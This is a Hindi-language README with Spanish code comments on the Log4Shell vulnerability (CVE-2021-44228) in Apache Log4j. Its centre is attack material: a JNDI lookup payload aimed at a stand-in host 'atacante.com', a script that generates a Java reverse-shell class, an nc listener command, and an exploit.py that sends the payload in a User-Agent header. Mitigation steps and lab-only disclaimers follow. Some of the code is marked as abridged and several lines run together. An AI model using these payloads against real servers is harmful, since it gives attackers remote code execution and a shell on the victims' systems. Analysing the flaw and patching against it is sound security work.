
CVE-2021-44228 (Log4Shell) का शैक्षिक विश्लेषण, जिसमें PoC स्क्रिप्ट्स, हमले के वेक्टर का विवरण, और Apache Log4j में महत्वपूर्ण RCE कमजोरी को समझने और परीक्षण करने के लिए शमन मार्गदर्शन शामिल है।
गंभीर प्रभाव (CVSS 10.0) | 2021 में खोजी गई, Apache Log4j में यह दोष रिमोट कोड निष्पादन (RCE) की अनुमति देता है और दुनिया भर के लाखों सिस्टमों को प्रभावित करता है। आज भी, यह साइबर सुरक्षा के लिए एक महत्वपूर्ण अनुस्मारक है!
CVE-2021-44228, जिसे Log4Shell के नाम से जाना जाता है, Apache Log4j 2 लॉगिंग लाइब्रेरी में एक गंभीर रिमोट कोड निष्पादन (RCE) कमज़ोरी है। यह दोष दुर्भावनापूर्ण हमलावरों को कमज़ोर सर्वरों पर मनमाना कोड निष्पादित करने की अनुमति देता है, बस एक विशेष रूप से तैयार टेक्स्ट स्ट्रिंग भेजकर जिसे एप्लिकेशन लॉग करता है।
Log4Shell अकेला नहीं है; इससे CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS) और CVE-2021-4104 (Log4j 1.2 में RCE) जैसी कमज़ोरियाँ उत्पन्न हुईं।
समस्या का मूल Log4j में JNDI (Java Naming and Directory Interface) का असुरक्षित संचालन है, जो बिना सैनिटाइज़ेशन के रिमोट लुकअप को हल करता है।
${jndi:ldap://atacante.com:1389/Exploit}
यह कैसे काम करता है:
${...} का पता लगाता है और JNDI लुकअप सक्रिय करता है।शोषण योग्य प्रोटोकॉल: LDAP, RMI, DNS, IIOP, आदि। यह खतरों को सक्षम करता है जैसे:
संक्रमण श्रृंखला (किल चेन):
| विशेषता | विवरण |
|---|---|
| CVSS v3.1 स्कोर | 10.0 (गंभीर) 🔥 - अधिकतम संभव गंभीरता। |
| प्रभावित संस्करण | Log4j 2.0-beta9 से 2.14.1 (उप-CVE के लिए 2.16.0 तक व्युत्पन्न शामिल)। |
| मूल कारण | बिना सत्यापन के JNDI संदेश प्रतिस्थापन; रिमोट लुकअप सक्षम। |
| वेक्टर | रिमोट, प्रमाणीकरण रहित; वेब/क्लाउड ऐप्स में Java 8+ को प्रभावित करता है। |
| प्रभावित उत्पाद | Apache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter, और अधिक। |
| शोषण | आसान: GitHub पर सार्वजनिक PoCs; विशेषाधिकारों की आवश्यकता नहीं। |
प्रभाव के आँकड़े:
⚠️ चेतावनी: यह सामग्री केवल शैक्षिक उद्देश्यों और अधिकृत परीक्षण के लिए है। बिना स्पष्ट अनुमति के सिस्टम पर इसका उपयोग न करें। बिना अधिकार के कमज़ोरियों का शोषण करना अवैध है (जैसे, अमेरिका में CFAA कानून का उल्लंघन)। हमेशा नैतिक पेंटेस्टिंग करें।
kozmer/log4j-shell-poc जैसे सार्वजनिक रिपॉजिटरी पर आधारित, यहाँ नियंत्रित वातावरण (जैसे, स्थानीय Docker/VM) में PoC का एक सरलीकृत अवलोकन है।
git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln/usr/bin/jdk1.8.0_202)।#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
CUR_FOLDER = Path(__file__).parent.resolve()
def generate_payload(userip: str, lport: int) -> None:
program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
public Exploit() throws Exception {{
String host="{userip}";
int port={lport};
String cmd="/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... (código de shell inversa simplificado)
}}
}}
"""
p = CUR_FOLDER / "Exploit.java"
try:
p.write_text(program)
subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
print(Fore.GREEN + '[+] Clase Exploit generada exitosamente')
except Exception as e:
print(Fore.RED + f'[-] Error: {e}')
# ... (funciones para LDAP server y web server similares al original)
def main():
init(autoreset=True)
print(Fore.BLUE + "[!] PoC Educativa para CVE-2021-44228 - ¡Úsala solo en labs!")
# Argumentos: --userip localhost --webport 8000 --lport 9001
# Lanza LDAP, web server y genera payload
if __name__ == "__main__":
main()
python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001nc -lvnp 9001 - रिवर्स शेल की निगरानी करें।${jndi:ldap://127.0.0.1:1389/a} का उपयोग करें।Python में सरल PoC (लिसनर + एक्सप्लॉइट): त्वरित डेमो के लिए, इस जोड़ी स्क्रिप्ट का उपयोग करें (पहले लिसनर चलाएँ)।
listener.py:
import socket
import threading
def start_listener(ip, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((ip, port))
server.listen(1)
print(f"[*] Listener en {ip}:{port}...")
conn, addr = server.accept()
print(f"[+] Conexión de {addr}")
data = conn.recv(4096)
print(data.decode('utf-8', errors='ignore'))
conn.close()
if __name__ == "__main__":
threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
input("Presiona Enter para detener...\n") # Mantiene vivo
exploit.py:
import requests
import argparse
def send_exploit(target, lhost, lport):
payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
headers = {'User-Agent': payload}
try:
r = requests.get(target, headers=headers, timeout=10)
print(f"[+] Enviado a {target} | Status: {r.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", required=True)
parser.add_argument("-l", "--lhost", required=True)
parser.add_argument("-p", "--lport", type=int, default=1389)
args = parser.parse_args()
send_exploit(args.target, args.lhost, args.lport)
निष्पादन: python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"
नोट: सिम्युलेटेड LDAP के लिए Marshalsec की आवश्यकता है। केवल अलग-थलग लैब में परीक्षण करें।
अभी कार्य करें! Log4Shell अपडेट और कॉन्फ़िगरेशन से टालने योग्य है।
mvn dependency:tree या Snyk जैसे उपकरणों से अप्रत्यक्ष निर्भरताएँ जाँचें।-Dlog4j2.formatMsgNoLookups=trueLOG4J_FORMAT_MSG_NO_LOOKUPS=truelog4j2.xml में, जोड़ें: <Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi:*} पेलोड को ब्लॉक करें (जैसे, ModSecurity या Cloudflare नियम)।व्युत्पन्न CVE के लिए:
यह README.md साइबर सुरक्षा जागरूकता और शैक्षिक उद्देश्यों के लिए है। यह अवैध गतिविधियों को बढ़ावा नहीं देता। यदि आप सुरक्षा पेशेवर हैं, तो OWASP Dependency-Check जैसे उपकरणों से अपने वातावरण का मूल्यांकन करें। अपने सिस्टम को अपडेट रखें ताकि एक सुरक्षित दुनिया बन सके! 🔒
अंतिम अपडेट: 2023 तक के डेटा पर आधारित। नवीनतम के लिए आधिकारिक स्रोतों की जाँच करें।